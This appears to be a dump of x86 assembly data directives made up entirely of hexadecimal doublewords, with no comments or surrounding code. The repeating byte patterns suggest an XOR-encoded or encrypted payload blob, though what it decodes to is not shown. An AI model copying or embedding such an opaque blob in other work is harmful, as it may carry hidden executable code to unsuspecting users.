dd 1DD55C0Bh, 0B0300884h, 0D34849C1h, 0D308A01Dh, 654CA760h
dd 58585858h, 0F9A41DD1h, 4849D978h, 0D8C85D5Bh, 0B0DB4849h
dd 0A41D6154h, 1DD57B2Dh, 0B030088Ch, 0A74849C1h, 2DA7842Dh
dd 57BFB0B8h, 9CDB5858h, 801DD148h, 8841DD3h, 0BA740D3h
dd 0A01DD350h, 0A740D308h, 1DD3500Bh, 40D308B8h, 0D3500BA7h
dd 0D308BC1Dh, 500BA740h, 5DB39869h, 5A585BE0h, 30607D8h
dd 587C9A91h, 581859E0h, 58509AD8h, 49CECF30h, 0BB12B048h
dd 0B008A7A7h, 58585725h, 5D6A4CFBh, 0CED13048h, 6DB04849h
dd 8A7A7BBh, 585730B0h, 71B4FB58h, 2430485Dh, 0B04849CEh
dd 0A7A7BB78h, 570BB008h, 0E4FB5858h, 3048597Dh, 4849CE34h
dd 0A7BB53B0h, 66B008A7h, 0FB585857h, 48595798h, 49CE0530h
dd 0BAAEB048h, 0B008A7A7h, 58585771h, 58A854FBh, 0CE1F3048h
dd 0B9B04849h, 8A7A7BAh, 58574CB0h, 1040FB58h, 68304851h
dd 0B04849CEh, 0A7A7BA94h, 56A7B008h, 78FB5858h, 30485501h
dd 4849CE7Bh, 0A7BAEFB0h, 0B2B008A7h, 0FB585856h, 48597D94h
dd 49CE5430h, 0BAFAB048h, 0B008A7A7h, 5858568Dh, 55016CFBh
dd 0CDAF3048h, 0D5B04849h, 8A7A7BAh, 585698B0h, 114FB58h
dd 0BC304849h, 0B04849CDh, 0A7A7BA20h, 56F3B008h, 48FB5858h
dd 30484933h, 4849CD95h, 0A7BA3BB0h, 0CEB008A7h, 0FB585856h
dd 4858A848h, 49CD9930h, 0BA16B048h, 0B008A7A7h, 585856D9h
dd 58A86CFBh, 0CDF03048h, 61B04849h, 8A7A7BAh, 585634B0h
dd 158FB58h, 0C3304851h, 0B04849CDh, 0A7A7BA7Ch, 560FB008h
dd 1CFB5858h, 3048516Dh, 4849CDD2h, 0A7BA57B0h, 1AB008A7h
dd 0FB585856h, 48493770h, 49CD2A30h, 0B9A2B048h, 0B008A7A7h
dd 58585675h, 490220FBh, 0CD023048h, 0BDB04849h, 8A7A7B9h
dd 585640B0h, 0A84CFB58h, 12304858h, 0B04849CDh, 0A7A7B988h
dd 565BB008h, 50FB5858h, 30485101h, 4849CD60h, 0A7B9E3B0h
dd 0B6B008A7h, 0FB585855h, 48516A70h, 49CD4530h, 0B9FEB048h
dd 0B008A7A7h, 58585581h, 51111CFBh, 0CD563048h, 0C9B04849h
dd 8A7A7B9h, 58559CB0h, 3774FB58h, 0A2304849h, 0B04849CCh
dd 0A7A7B924h, 55F7B008h, 18FB5858h, 304858A8h, 4849CCB2h
dd 0A7B93FB0h, 0C2B008A7h, 0FB585855h, 485D6A44h, 49CC8330h
dd 0B90AB048h, 0B008A7A7h, 585855DDh, 493344FBh, 0CC943048h
dd 65B04849h, 8A7A7B9h, 585528B0h, 148FB58h, 0E6304851h
dd 0B04849CCh, 0A7A7B970h, 5503B008h, 60FB5858h, 30485111h
dd 4849CCF7h, 0A7B94BB0h, 1EB008A7h, 0FB585855h, 48493340h
dd 49CCF830h, 0B8A6B048h, 0B008A7A7h, 58585569h, 511048FBh
dd 0CCD43048h, 0B1B04849h, 8A7A7B8h, 585544B0h, 7DC0FB58h
dd 24304859h, 0B04849CCh, 0A7A7B88Ch, 555FB008h, 28FB5858h
dd 30484902h, 4849CC33h, 0A7B8E7B0h, 0AAB008A7h, 0FB585854h
dd 48516C68h, 49CC0230h, 0B8F2B048h, 0B008A7A7h, 58585485h
dd 595790FBh, 0CC1A3048h, 0CDB04849h, 8A7A7B8h, 585490B0h
dd 71A0FB58h, 6C30485Dh, 0B04849CCh, 0A7A7B8D8h, 54EBB008h
dd 38FB5858h, 30484901h, 4849CC71h, 0A7B833B0h, 0C6B008A7h
dd 0FB585854h, 485978CCh, 49CC4030h, 0B80EB048h, 0B008A7A7h
dd 585854D1h, 58A860FBh, 0CC503048h, 19B04849h, 8A7A7B8h
dd 58542CB0h, 6A40FB58h, 0AE30485Dh, 0B04849CBh, 0A7A7B874h
dd 5407B008h, 68FB5858h, 30484937h, 4849CBBFh, 0A7B84FB0h
dd 12B008A7h, 0FB585854h, 48511110h, 49CB8E30h, 0B85AB048h
dd 0B008A7A7h, 5858546Dh, 49013CFBh, 0CB9C3048h, 0B5B04849h
dd 8A7A787h, 585478B0h, 7DF0FB58h, 0E0304859h, 0B04849CBh
dd 0A7A78780h, 5453B008h, 58FB5858h, 304858A8h, 4849CBF0h
dd 0A7879BB0h, 0AEB008A7h, 0FB585853h, 4858A81Ch, 49CBC930h
dd 87F6B048h, 0B008A7A7h, 585853B9h, 597DE8FBh, 0CB2F3048h
dd 0C1B04849h, 8A7A787h, 585394B0h, 140FB58h, 3A304851h
dd 0B04849CBh, 0A7A787DCh, 53EFB008h, 0D0FB5858h, 30485978h
dd 4849CB0Dh, 0A78737B0h, 0FAB008A7h, 0FB585853h, 48493744h
dd 49CB6630h, 8702B048h, 0B008A7A7h, 585853D5h, 59D09CD9h
dd 0ACFB5858h, 9B485D71h, 9BDD10Dh, 8A41DD5h, 49D890F9h
dd 185D5B48h, 0DB4849D9h, 0A7085AB0h, 49D9D86Dh, 502DA748h
dd 885DE757h, 5B4849D8h, 49DA645Dh, 5EB0DB48h, 0D9E8F908h
dd 0B0DB4849h, 4DA7085Fh, 48493778h, 104DA708h, 91485111h
dd 77300F9Bh, 0B04849CBh, 0A7A786ACh, 4DA70801h, 48597DC0h
dd 49DAD8FBh, 0D9BCF948h, 0B0DB4849h, 0D85D615Ch, 2D4849DAh
dd 0CB78304Fh, 95B04849h, 1A7A786h, 404DA708h, 0FB485D6Ah
dd 4849DAD8h, 49CB5230h, 86EEB048h, 801A7A7h, 0DAD86DA7h
dd 4DA74849h, 485979F4h, 58A870FBh, 0D9B0748h, 0B09BDD1h
dd 501DD30Eh, 0D16428D3h, 0D39959A9h, 0DD37019h, 482CD550h
dd 1EEE5755h, 6C4DD359h, 0D94849D9h, 5859A69Ah, 579BD158h
dd 0EE5782F7h, 15A8DB5Eh, 0D3A71DD0h, 49D90855h, 5AB1DB48h
dd 0EE5756B3h, 0EE57565Ch, 8869A70Dh, 19565CD0h, 0B62A8161h
dd 0D1541DD3h, 6A8D140h, 0D9B9103h, 0B4D9BDD1h, 58585954h
dd 5025D30Fh, 58595C30h, 0A0DDD558h, 8A7A7A6h, 7DE84DA7h
dd 0E7574859h, 49D9705Dh, 204DD348h, 5B4849D9h, 49D8E84Dh
dd 56B2DB48h, 0AE5DCCD0h, 30A7A7A6h, 5858595Ch, 0A6A0DDD5h
dd 0D508A7A7h, 2 dup(0D508A41Dh), 0A7A6ACDDh, 5C3008A7h
dd 0D5585859h, 0A7A6A0DDh, 0DDD508A7h, 0A7A7A6A0h, 584DA708h
dd 30485101h, 4849CB5Ah, 0A7859FB0h, 0ACEDA7A7h, 8A7A7A6h
dd 704DA70Fh, 0DB485501h, 0E757489Ch, 49DA185Dh, 50B0DB48h
dd 0B3A41DD1h, 0A41DD377h, 645F5CD2h, 64542419h, 0D3502702h
dd 0A059A41Dh, 0D37858D8h, 5CD2A41Dh, 2468645Fh, 27616454h
dd 0A41DD350h, 58D8A059h, 0A41DA769h, 49D928F9h, 5C98DB48h
dd 2AA41D61h, 9B91079Ch, 0EBDD10Dh, 5025D30Fh, 0D1542DD3h
dd 481D6BA8h, 0D14C1D6Bh, 0D19A59A2h, 401D5B88h, 255B9FD1h
dd 442DA778h, 5E69B00Fh, 9CDB5858h, 599FD150h, 7A0D1AFh
dd 0D9B0506h, 1EB0BDD1h, 0F9A7A7ABh, 4849D9F8h, 0D8B05D5Bh
dd 0B0DB4849h, 184DD35Fh, 0D94849D9h, 58B2079Ah, 9AF75758h
dd 7C4DA708h, 1485501h, 9A058CB3h, 0D10D585Ch, 0F0E0BBDh
dd 0F95005D3h, 4849DA10h, 6D5B9ED1h, 4849D9D0h, 0B351B6DBh
dd 184DA76Dh, 0D3484928h, 49D9F865h, 0B9FDB48h, 0FC4DE757h
dd 594849D9h, 158BE28Fh, 0D109483Ah, 99B2AF99h, 0A1995FA2h
dd 0D1927147h, 9F590188h, 4CD0A2D1h
dd 2D631E6Bh, 0D39E2454h, 4DD3541Dh, 4849DA68h, 0D8B44D5Bh
dd 0B2DB4849h, 5B4CD05Ah, 60780D1h, 0D9B0503h, 0D30FBDD1h
dd 2DA7541Dh, 482DA74Ch, 0A7542DA7h, 4DA7502Dh, 48597D90h
dd 489A0507h, 0BDD10D58h, 0F0E0B09h, 0D3502DD3h, 0D13E401Dh
dd 84F9401Dh, 0DB4849D9h, 5D5B5A98h, 4849D990h, 7D885D61h
dd 552B4859h, 49D9ECF9h, 5CB0DB48h, 597D88FBh, 0D998F948h
dd 9FD14849h, 0D8B0655Bh, 0B7DB4849h, 0D554B35Ah, 48B8E544h
dd 86614859h, 0F91F4D2Ch, 4849D98Ch, 585B855Dh, 5D5B58h
dd 614849D9h, 57B82A9Fh, 0D9605DE7h, 0E7574849h, 49D93C4Dh
dd 48DCD548h, 58585BBCh, 5F2D9F61h, 23B19869h, 57585859h
dd 48256CEFh, 0D3485D72h, 49DA4C45h, 0BC455B48h, 0DB4849D8h
dd 86615FB3h, 0EE576E2Dh, 79E8655Ch, 0A7084859h, 5878E56Ch
dd 86B04859h, 0DB585847h, 0E757509Ch, 49D9A86Dh, 806D5B48h
dd 0DB4849D8h, 6CD154B6h, 5948B8E5h, 0B1986948h, 58585972h
dd 256CEF57h, 485D7248h, 0D98845D3h, 9BD94849h, 5858A7ACh
dd 0D9EC455Bh, 86614849h, 58B1DD57h, 0B0F95858h, 574849D8h
dd 0D8944DE7h, 88594849h, 0D15AB0DBh, 0E1B1A41Dh, 0D3585858h
dd 0ABD1A42Dh, 0D35ABB99h, 49D9804Dh, 8C4D5B48h, 0DB4849D9h
dd 4C6154B2h, 5948B845h, 0CADC5748h, 57585858h, 482D4CEFh
dd 0D3485D72h, 49D94855h, 0AE99D948h, 575858A7h, 0DA405DE7h
dd 99594849h, 292C9261h, 78E54CD3h, 61485958h, 5878454Ch
dd 392D4859h, 0E86D44D2h, 62485979h, 79E86544h, 92D4859h
dd 2D6CEF57h, 485D7248h, 0D9DC45D3h, 0B3DB4849h, 2D86615Bh
dd 0A42DD375h, 6D44EE57h, 485979E8h, 0ED6CA70Bh, 48595878h
dd 5846A8B0h, 509CDB58h, 0DA6C6DD3h, 0B6DB4849h, 0E56CD150h
dd 485948B8h, 2DD37DB3h, 2D6CD5A4h, 485D7248h, 0B356A73Eh
dd 0A41DA74Eh, 49D928F9h, 5BBC5D48h, 1D615858h, 6CDA57A4h
dd 69A7A7A7h, 5747B398h, 48256CEFh, 0D3485D72h, 49DA1045h
dd 5BB3DB48h, 50268661h, 2554A73Eh, 485D7248h, 6079869h
dd 7C9A9103h, 0BDD10D58h, 584A54E0h, 0DD4FB058h, 0E0B5858h
dd 0D6AB300Fh, 15B04849h, 8A7A782h, 0A859E5D5h, 0A70FA7A7h
dd 5501704Dh, 549CDB48h, 49D90CF9h, 5B9ED148h, 49D9B86Dh
dd 54B6DB48h, 0E4D878B3h, 0A7A8596Dh, 4D2D7BA7h, 49D9D0F9h
dd 745D5B48h, 0DB4849D9h, 0DCD055B0h, 0A7A8596Dh, 0A6D91EA7h
dd 585857A7h, 0E757802Ah, 49DA1C5Dh, 5B9BD148h, 49D97445h
dd 57B3DB48h, 49D9A0F9h, 4DE75748h, 4849D9FCh, 0B0DB8859h
dd 0A4DDD151h, 0F9A7A7B7h, 4849DA58h, 615DB0DBh, 72D501Dh
dd 61541DD3h, 0A7B7A4DDh, 0D54F2DA7h, 0A85945DCh, 3008A7A7h
dd 48490128h, 58DCD4B0h, 5AC0B158h, 0D4D55858h, 0A7A85945h
dd 0A790DBA7h, 5964D818h, 59A12D58h, 599BDB9Bh, 0B7A4DDA7h
dd 0E657A7A7h, 0A85945DCh, 4DD3A7A7h, 4849DA54h, 0D9804D5Bh
dd 0B2DB4849h, 57886150h, 585A05DCh, 57F9B358h, 0DA1C5DE7h
dd 9BD14849h, 0D904455Bh, 0B3DB4849h, 0DAF8F953h, 0DDD14849h
dd 0A7A7B7A0h, 0CC5DE757h, 104849D9h, 57500DD3h, 0D8CC55E7h
dd 0B1DB4849h, 5A54D05Ah, 49D9E0F9h, 4DE75748h, 4849D970h
dd 0B0DB8859h, 0A4DDD151h, 0A7A7A7B7h, 4928184Dh, 584CE148h
dd 0AFC15858h, 0ACCDD1A1h, 30A7A7B7h, 4849D6B0h, 0A7815BB0h
dd 0E5D508A7h, 0A7A7B6ADh, 0DB8BB00Fh, 0DCD55858h, 0A7A85945h
dd 0DDD508A7h, 0A7A7B6ADh, 744DA708h, 0DB4858A8h, 64F9549Ch
dd 0DB4849DAh, 0DD615A98h, 0A7A7B7ACh, 5886DB57h, 0EDA75858h
dd 0A7A7B7A0h, 0B5AEDDD5h, 0B008A7A7h, 58583416h, 1C5DE757h
dd 0DB4849D9h, 0D5085BB0h, 0A7B6ADDDh, 2DA708A7h, 5391B050h
dd 9CDB5858h, 8865D34Ch, 0D94849D9h, 58A7AC9Fh, 44655B58h
dd 614849DAh, 0D57F2DA0h, 0A7B6ADDDh, 2DA708A7h, 744DA750h
dd 304858A8h, 4849D6BBh, 0A78033B0h, 2DA708A7h, 744DA750h
dd 0DB4858A8h, 24F94C9Ch, 0DB4849D9h, 0D5085EB0h, 0A7B5AEDDh
dd 2DA708A7h, 5329B050h, 9CDB5858h, 0D465D354h, 0D94849D9h
dd 58A7A69Fh, 64655B58h, 614849DAh, 30632DA0h, 4849D680h
dd 0A7807BB0h, 2DA708A7h, 744DA750h, 0D54858A8h, 0A7B5AEDDh
dd 2DA708A7h, 744DA750h, 304858A8h, 4849D68Bh, 0A78FA7B0h
dd 2DA708A7h, 744DA750h, 0DB4858A8h, 0DDA7789Ch, 0A7A7B7A0h
dd 0B7A4EDA7h, 0B1B0A7A7h, 158585Ch, 0B7ACDDD1h, 0E757A7A7h
dd 49D97055h, 0DC555B48h, 0DB4849D9h, 90615FB1h, 0E7570C2Bh
dd 49D8885Dh, 5DB0DB48h, 0ADDDD508h, 8A7A7B6h, 0B0502DA7h
dd 5858528Fh, 0D3549CDBh, 49D88465h, 0A39FD948h, 615858A7h
dd 0D57F2DA0h, 0A7B6ADDDh, 2DA708A7h, 744DA750h, 304858A8h
dd 4849D696h, 0A78F27B0h, 2DA708A7h, 744DA750h, 0DB4858A8h
dd 0D4D54C9Ch, 0A7A85945h, 0A790DBA7h, 5964D818h, 59A12D58h
dd 0A4DDA79Bh, 0DBA7A7B7h, 0E657599Bh, 0A85945DCh, 4DD3A7A7h
dd 4849D944h, 1855E757h, 594849DAh, 52B2DB92h, 0DD578861h
dd 0A7A7A64Bh, 49D69130h, 8F72B048h, 0A708A7A7h, 4DA7502Dh
dd 4858A874h, 0D3549CDBh, 0A7B7A0DDh, 0DAF8FBA7h, 6074849h
dd 0B9B9103h, 2CD30F0Eh, 24D3487Ch, 0A1D14C7Ch, 0BB8BABD1h
dd 0D92C4DD3h, 9ADB4849h, 504D5B49h, 0D14849D9h, 0D1A17189h
dd 51B08BA8h, 780D19Bh, 0D9B0306h, 0B4D9BDD1h, 5858597Ch
dd 300F0E0Bh, 585E42D8h, 4DA71832h, 485D71B4h, 0B8309BD1h
dd 32585CCBh, 0B44DA718h, 0D1485D71h, 1DD3A41Dh, 5A98DB50h
dd 0A42DA708h, 58D9D8B0h, 0A41DD358h, 90DB99D1h, 64D818A7h
dd 0A12D5859h, 0D3A01DD1h, 49D98865h, 5FB7DB48h, 0A0D163B3h
dd 0D1A41D5Bh, 0A7A6B0DDh, 48EE57A7h, 0A6B8CDD1h, 0A0D1A7A7h
dd 0A6BCDDD1h, 0BFAFA7A7h, 0A684DDD1h, 0DDD3A7A7h, 0A7A7A6B8h
dd 0A684CDD3h, 8859A7A7h, 0A6B0CDD3h, 5AD0A7A7h, 0A025631Fh
dd 0E757982Ah, 49D9645Dh, 4DE75748h, 4849D910h, 2E48DCD5h
dd 8585E42h, 0A02DA70Bh, 0B0A42DA7h, 585861F8h, 0D3489CDBh
dd 49D8C86Dh, 5CB6DB48h, 64D84DB3h, 5C2D656Bh, 716B5C9Eh
dd 736B64D8h, 5C9E5C2Dh, 0D11E706Bh, 0A790DB81h, 5964D818h
dd 61A12D58h, 57832A9Eh, 0D9C05DE7h, 5D5B4849h, 4849D8C8h
dd 0D35DB0DBh, 64D8500Dh, 492D135Ah, 5978F830h, 0B4DDD548h
dd 8A7A7A6h, 58D8FCB0h, 5DE75758h, 4849D9A8h, 0D35EB0DBh
dd 64D8500Dh, 492D1C5Ah, 516C1830h, 0B4DDD548h, 8A7A7A6h
dd 58D8D8B0h, 5DE75758h, 4849DA18h, 0D350B0DBh, 64D8500Dh
dd 6A2D085Ah, 51106830h, 0B4DDD548h, 8A7A7A6h, 58D804B0h
dd 0DA70F958h, 0B0DB4849h, 0D50B085Fh, 0A7A6B4DDh, 37B008A7h
dd 0DB58587Eh, 9851549Ch, 59DADD57h, 0C8F95858h, 5B4849D8h
dd 49D88C5Dh, 51B0DB48h, 0D8E4F908h, 0E7574849h, 49D9404Dh
dd 0DB885948h, 320850B0h, 0DA74F95Ch, 0B0DB4849h, 0E757085Fh
dd 49D9A85Dh, 5EB0DB48h, 58583008h, 0DDD51858h, 0A7A7A6B4h
dd 404DA708h, 0D1484933h, 5A32AC1Dh, 49D8C8F9h, 5CB0DB48h
dd 5DE75708h, 4849D960h, 884DE757h, 594849D8h, 51B0DB88h
dd 0AC2DA708h, 37684DA7h, 99304849h, 0B04849D6h, 0A7A78CB8h
dd 4DE75701h, 4849DA40h, 0A80DD50Ah, 144DD30Ah, 574849DAh
dd 0D96455E7h, 92594849h, 0A56B2DBh, 0AC2DA708h, 37444DA7h
dd 14F94849h, 574849D9h
dd 0D9F04DE7h, 88594849h, 0D35AB0DBh, 64D8500Dh, 6A2D135Ah
dd 49D6E430h, 8CCAB048h, 5701A7A7h, 0D9104DE7h, 0A124849h
dd 0AA80DD5h, 0DA104DD3h, 4D5B4849h, 4849DA7Ch, 0A5CB2DBh
dd 0AC2DA708h, 37444DA7h, 48F94849h, 0DB4849D9h, 0DD351B0h
dd 5A64D850h, 30642D08h, 4849D6EFh, 0A78C17B0h, 4DD301A7h
dd 4849D998h, 0A455E757h, 594849D8h, 5BB2DB92h, 0A80DD50Ah
dd 0B04DD30Ah, 574849D8h, 0D95C55E7h, 92594849h, 2DA7080Ah
dd 444DA7ACh, 0D1484937h, 0A790DB81h, 5964D818h, 0D3A12D58h
dd 49D90C55h, 5C555B48h, 0DB4849DAh, 0D50952B1h, 0D309A815h
dd 49D9A055h, 5AB1DB48h, 92599AD1h, 2DA70B0Ah, 444DA7ACh
dd 0A7484937h, 4DA7AC2Dh, 48511110h, 0A7A42DA7h, 597D944Dh
dd 4DA70B48h, 48597D94h, 91030607h, 0BDD10D9Bh, 502DA70Fh
dd 0DA0C6DA7h, 4DA74849h, 485979F4h, 5079FD1h, 0BDD10D9Bh
dd 0E0B0809h, 5DE7570Fh, 4849D8ECh, 0F04DE757h, 0D14849D9h
dd 0DB8E599Eh, 1DD55DB6h, 503008A4h, 0D34849C2h, 0D308501Dh
dd 454CA740h, 58585858h, 4CF99FD1h, 5B4849D9h, 49D9805Dh
dd 5DB0DB48h, 5C2C9F61h, 3FB39869h, 8A01DD5h, 0D3482DA7h
dd 0D308A41Dh, 480BA740h, 0C8F99FD1h, 5B4849D8h, 49D9505Dh
dd 54B0DB48h, 602D9F61h, 0A74C2DA7h, 1DD3542Dh, 40D308A0h
dd 0D14C0BA7h, 0DA7CF99Fh, 0E7574849h, 49D8CC4Dh, 0DB885948h
dd 9F615BB0h, 6DD3512Dh, 4849D8A8h, 0D35AB6DBh, 0D308A01Dh
dd 500BA740h, 8A41DD3h, 0BA740D3h, 7A8D150h, 9B910306h
dd 7C2CD30Eh, 57A9D150h, 0D8F05DE7h, 5D5B4849h, 4849D8FCh
dd 6D259961h, 0F05DE757h, 5B4849D8h, 49D90C5Dh, 5BB0DB48h
dd 0F990F757h, 4849D880h, 0D15DB0DBh, 0F99A59AAh, 4849D8F8h
dd 0D9445D5Bh, 57104849h, 897188F7h, 585966B1h, 0E7571158h
dd 49DA485Dh, 5798DB48h, 79259961h, 49DA6CF9h, 5EB0DB48h
dd 0D190F757h, 0D3A87190h, 49D9F44Dh, 539ADB48h, 897199D1h
dd 585956B1h, 0E7571158h, 49D9A85Dh, 904DD348h, 0D54849D9h
dd 614C481Ch, 57702599h, 0D9CC5DE7h, 5D5B4849h, 4849D9ACh
dd 575FB0DBh, 60F990F7h, 0DB4849DAh, 5D5B6298h, 4849D9F8h
dd 88B19971h, 11585858h, 49D954F9h, 7A98DB48h, 7A259961h
dd 505DE757h, 5B4849DAh, 49D9085Dh, 5BB0DB48h, 0F990F757h
dd 4849D9D0h, 711998DBh, 58F9B199h, 0F9115858h, 4849D9D8h
dd 577398DBh, 0D9CC4DE7h, 88594849h, 41259961h, 945DE757h
dd 0DB4849D9h, 0F7575FB0h, 0D900F990h, 98DB4849h, 0B3997109h
dd 0E757112Ah, 49D8AC5Dh, 204DD348h, 0D54849D9h, 6173481Ch
dd 577A2599h, 0D9105DE7h, 0E7574849h, 49D9604Dh, 0DB885948h
dd 0F7575AB0h, 0D930F990h, 98DB4849h, 0B3997130h, 28F91162h
dd 0DB4849D9h, 99616D98h, 68F97B25h, 5B4849D9h, 49D9385Dh
dd 5EB0DB48h, 0F990F757h, 4849D988h, 5B3098DBh, 49D9685Dh
dd 0B3997148h, 0D9B4F952h, 98DB4849h, 0D199716Eh, 0D9B0690h
dd 0B09BDD1h, 1DD30F0Eh, 40EE5750h, 885DE757h, 0D34849D8h
dd 49D94C4Dh, 48DCD548h, 585858A1h, 0D380F757h, 0EE57501Dh
dd 9B595918h, 505DE757h, 574849DAh, 0D8884DE7h, 0DCD54849h
dd 5858A148h, 80F75758h, 57501DD3h, 595A18EEh, 86DD39Bh
dd 0DB4849D9h, 13B35CB6h, 0D95865D3h, 0B7DB4849h, 0D3AF715Eh
dd 0DD1540Dh, 0D982D1A4h, 585867BAh, 125D25D8h, 1A9892DBh
dd 184D4CD2h, 0D3484937h, 4CD0A415h, 0D380D161h, 49D90465h
dd 6F9FDB48h, 0A04DE757h, 0D14849D8h, 0C18959A1h, 9BD1A1AFh
dd 57599EDBh, 0D8A45DE7h, 5D5B4849h, 4849D97Ch, 0FC249E61h
dd 91030607h, 0BDD10D9Bh, 0D30F0809h, 8CB05025h, 5158586Fh
dd 0A77C2C98h, 49DAD06Dh, 0F593248h, 1304DA7h, 1DD14849h
dd 0D06DA7A4h, 324849DAh, 4DA70F5Ch, 48490130h, 7A01DD1h
dd 0D10D9B91h, 0F0E0BBDh, 0D3542DD3h, 0C0304825h, 0E4849C2h
dd 1644DA7h, 98514855h, 1DD3482Ch, 0A75FD150h, 0A740D36Fh
dd 98695C0Bh, 403017B3h, 0E4849C2h, 1644DA7h, 98514855h
dd 1DD3482Ch, 0A75FD150h, 0A740D36Fh, 98695C0Bh, 0A03077B3h
dd 0E4849C1h, 1644DA7h, 98514855h, 1DD3482Ch, 0A75FD150h
dd 0A740D36Fh, 98695C0Bh, 0F4F957B3h, 0DB4849D8h, 5FD15FB0h
dd 58185AE0h, 30607D8h, 58549A05h, 0D9BDD10Dh, 585A30B4h
dd 0F0E0B58h, 4DA75832h, 4855017Ch, 301B8369h, 4849D6F7h
dd 0A7978BB0h, 502DA7A7h, 0E6E5D508h, 0FA7A7A5h, 1704DA7h
dd 9CDB4855h, 9ADDD54Ch, 8A7A7A6h, 0A5E6DDD5h, 0A708A7A7h
dd 516A704Dh, 0E0DDD148h, 0D3A7A7A5h, 49D9EC55h, 555B48h
dd 0DB4849D9h, 81AF5EB1h, 0DD579061h, 585859B1h, 49D94CF9h
dd 5BA55D48h, 5D5B5858h, 4849D930h, 2B741D61h, 0D9E4F944h
dd 0CF5D4849h, 57585858h, 0D9B04DE7h, 88594849h, 57741D61h
dd 585AD9DDh, 5DE75758h, 4849D8A4h, 615AB0DBh, 0DF57701Dh
dd 58585A36h, 405DE757h, 5D4849D9h, 585B5560h, 57741D61h
dd 585A01DFh, 781DD558h, 481DD508h, 484DA708h, 0D1484933h
dd 0A7A5F8DDh, 0D9A0F9A7h, 5D5B4849h, 4849D928h, 615FB0DBh
dd 0A7A5F8DDh, 0D55525A7h, 0A7A5C0E5h, 782DD5A7h, 53B3FDFDh
dd 0A5C0E5D5h, 2DD5A7A7h, 0D5FDFD48h, 0A7A5F0DDh, 0DDD508A7h
dd 0A7A7A5C0h, 204DA708h, 57484902h, 0D9C85DE7h, 0EF574849h
dd 0A7A5EACDh, 0D5EF57A7h, 0A7A7A5E8h, 0D96C6DD3h, 9EDB4849h
dd 96F75762h, 0EF579259h, 0A7A5F6D5h, 246DD3A7h, 0DB4849D9h
dd 6D5B559Eh, 4849D928h, 5796F757h, 0D99C6DE7h, 65D34849h
dd 4849DA6Ch, 74662CD5h, 5996F757h, 0D5EF5792h, 0A7A7A5F2h
dd 0D8A86DD3h, 9EDB4849h, 6D5B40h, 574849D9h, 9ED196F7h
dd 57489EDBh, 6DD396F7h, 4849D9A0h, 5B6C9EDBh, 49DA586Dh
dd 96F75748h, 0EF579259h, 0A7A5F0D5h, 0E06DD3A7h, 0DB4849D9h
dd 6D5B5C9Eh, 4849D9DCh, 0D396F757h, 49DA786Dh, 429EDB48h
dd 0AC65E757h, 594849D8h, 96F757A6h, 9C6DE757h, 0D54849D8h
dd 5752681Ch, 64F990F7h, 0DB4849DAh, 5D5B6C98h, 4849D9F8h
dd 0D190F757h, 0D1905988h, 0A7A5FCDDh, 684DD3A7h, 614858A8h
dd 4FDF5788h, 71585859h, 0D88CF99Ah, 98DB4849h, 55E75750h
dd 4849D9B0h, 9A619059h, 58A4DB57h, 0E4F95858h, 5D4849D9h
dd 585858C6h, 2C741D61h, 0A758324Ah, 4EB0502Dh, 0DB58583Dh
dd 83B1509Ch, 32585858h, 502DA759h, 583D5CB0h, 509CDB58h
dd 585891B1h, 0B6E5D858h, 76A7A7A6h, 58E0DC57h, 0FE305858h
dd 0B04849D6h, 0A7A795D4h, 0A6B6E5D5h, 0A70FA7A7h, 0D508502Dh
dd 0A7A5E6E5h, 4DA70FA7h, 48550170h, 0A69AEDD5h, 0B4D9A7A7h
dd 58585918h, 0C7E1BFD1h, 0AB585858h, 0E5D5FD3Eh, 0A7A7A5E6h
dd 0A506B00Fh, 9CD9A7A7h, 58585900h, 0DDD534B3h, 0A7A7A69Ah
dd 0E0EDA708h, 0A7A7A7A5h, 5957904Dh, 519BD148h, 0D80F2C83h
dd 0A7A6B6E5h, 122C76A7h, 49D6C530h, 9546B048h, 0E5D5A7A7h
dd 0A7A7A6B6h, 502DA70Fh, 0E6E5D508h, 0FA7A7A5h, 1704DA7h
dd 0EDD54855h, 0A7A7A69Ah, 5918B4D9h, 0BFD15858h, 5858C7E1h
dd 0FD3EAB58h, 0A5E6E5D5h, 0B00FA7A7h, 0A7A7A4A8h, 59009CD9h
dd 83515858h, 607C82Dh, 0D9B9103h, 0B4DBBDD1h, 0F0E0B54h
dd 49D928F9h, 5CB0DB48h, 0D3A01DD1h, 99D1541Dh, 18A790DBh
dd 585964D8h, 9ED1A12Dh
dd 0D5501DD3h, 0A790DB50h, 5964D818h, 0D1A12D58h, 0F4F9AC1Dh
dd 0DB4849D9h, 1DD15AB0h, 0D315B3A4h, 49D96845h, 0E8F91348h
dd 0D14849D8h, 24655B9Fh, 0DB4849D9h, 75B354B7h, 59A41DD3h
dd 500DD3A0h, 5A5CE657h, 57540DD3h, 61624CE6h, 1B422D88h
dd 482DAB61h, 0D3A01DA7h, 1D61481Dh, 0D35D2DA0h, 4DB3A41Dh
dd 2AAF611Fh, 0A41DA797h, 61AC1DD3h, 0F32AA41Dh, 58A7A7E0h
dd 3060758h, 0D10D9B91h, 0E0B09BDh, 5025D30Fh, 0DA0865DBh
dd 2D584849h, 2808304Dh, 4DA74849h, 48595794h, 0DA085D9Fh
dd 58594849h, 6DD35858h, 4849D974h, 0D9B86D5Bh, 0B6DB4849h
dd 47EE575Eh, 5A0FEE57h, 998AEF57h, 8B5150BAh, 0D383EF57h
dd 49D9984Dh, 0F7571A48h, 3E865982h, 57A42DD1h, 0D3A41DEFh
dd 49D9A44Dh, 5D9ADB48h, 0D9684D5Bh, 88614849h, 58D8DC57h
dd 8305858h, 0A7484928h, 4901044Dh, 0D96CF948h, 98DB4849h
dd 1DD13E5Ch, 577AB3A6h, 59A61DEFh, 48E657A0h, 5C17E657h
dd 48D09269h, 0A61DEF57h, 0D94C4DD3h, 591A4849h, 1DD13E88h
dd 1DEF57A6h, 0DEF57A6h, 248861A4h, 0D94CF98Ah, 0D3104849h
dd 49D9AC4Dh, 744D5B48h, 0DB4849DAh, 4CD048B2h, 5DE7575Fh
dd 4849D91Ch, 0D35AB0DBh, 49D9204Dh, 51B2DB48h, 305F4CD0h
dd 48492808h, 11184DA7h, 1FD54851h, 306075Eh, 0D10D9B91h
dd 0D4B4D9BDh, 0B58585Ah, 25D30F0Eh, 6DE75750h, 4849D960h
dd 0A44DE757h, 0D54849D8h, 8B534E14h, 6DE757B7h, 4849D89Ch
dd 0D9B44DD3h, 2CD54849h, 0A9D15F4Eh, 0BB8BA3D1h, 0A6B4C5D1h
dd 80D1A7A7h, 1560D93Eh, 0F9562C02h, 4849D90Ch, 58A7A05Dh
